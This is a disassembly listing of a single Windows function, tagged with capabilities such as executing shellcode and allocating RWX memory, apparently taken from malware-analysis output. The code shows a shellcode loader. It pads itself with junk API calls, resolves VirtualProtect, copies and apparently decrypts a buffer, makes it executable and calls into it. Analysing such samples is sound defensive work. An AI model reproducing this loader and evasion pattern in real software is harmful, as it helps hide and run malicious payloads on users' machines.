Function at 0x402118
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x42bd39
call fcn.0042a77c
sub esp, 0x828
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x402146
inc esi
cmp esi, 0x67d12
jl 0x40212f
cmp dword [0x283743c], 0x93
jne 0x4021e3
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push dword [ebp - 0x14]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
lea eax, [ebp - 0x834]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
push ebx
mov dword [ebp - 4], ebx
call fcn.004029a2
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0x10
pop ecx
jb 0x4021e3
push dword [ebp - 0x34]
call fcn.00402988
pop ecx
mov eax, dword [0x44954c]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x283743c], 0x1134b
push str.kernel32.dll
mov dword [0x2838278], eax
call esi
push str.VirtualProtect
push eax
mov dword [0x2836ecc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x283743c]
mov dword [0x2836ec0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x283743c]
mov dword [0x2836ec8], eax
push eax
call dword [0x2836ec0]
mov edi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x402244
mov eax, dword [0x283743c]
cmp eax, ebx
jbe 0x4022af
mov eax, dword [0x2838278]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2836ec8]
mov byte [ecx + edi], al
mov eax, dword [0x283743c]
cmp eax, 0x490
jne 0x4022aa
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
call esi
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov eax, dword [0x283743c]
inc edi
cmp edi, eax
jb 0x40225e
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x4022de
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebx
call esi
mov eax, dword [0x283743c]
inc edi
cmp edi, 0x38681
jl 0x4022b1
mov ecx, dword [0x2836ec8]
shr eax, 3
cmp eax, ebx
jbe 0x402304
mov esi, ecx
mov edi, eax
push esi
call fcn.0040107e
add esi, 8
dec edi
jne 0x4022f8
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x402325
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2836ec8], eax
inc esi
cmp esi, 0x674bd
jl 0x402306
push 0x7b
pop esi
cmp dword [0x283743c], 0x86
jne 0x40236a
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
dec esi
jne 0x402331
call fcn.00401000
call dword [0x2836ec8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret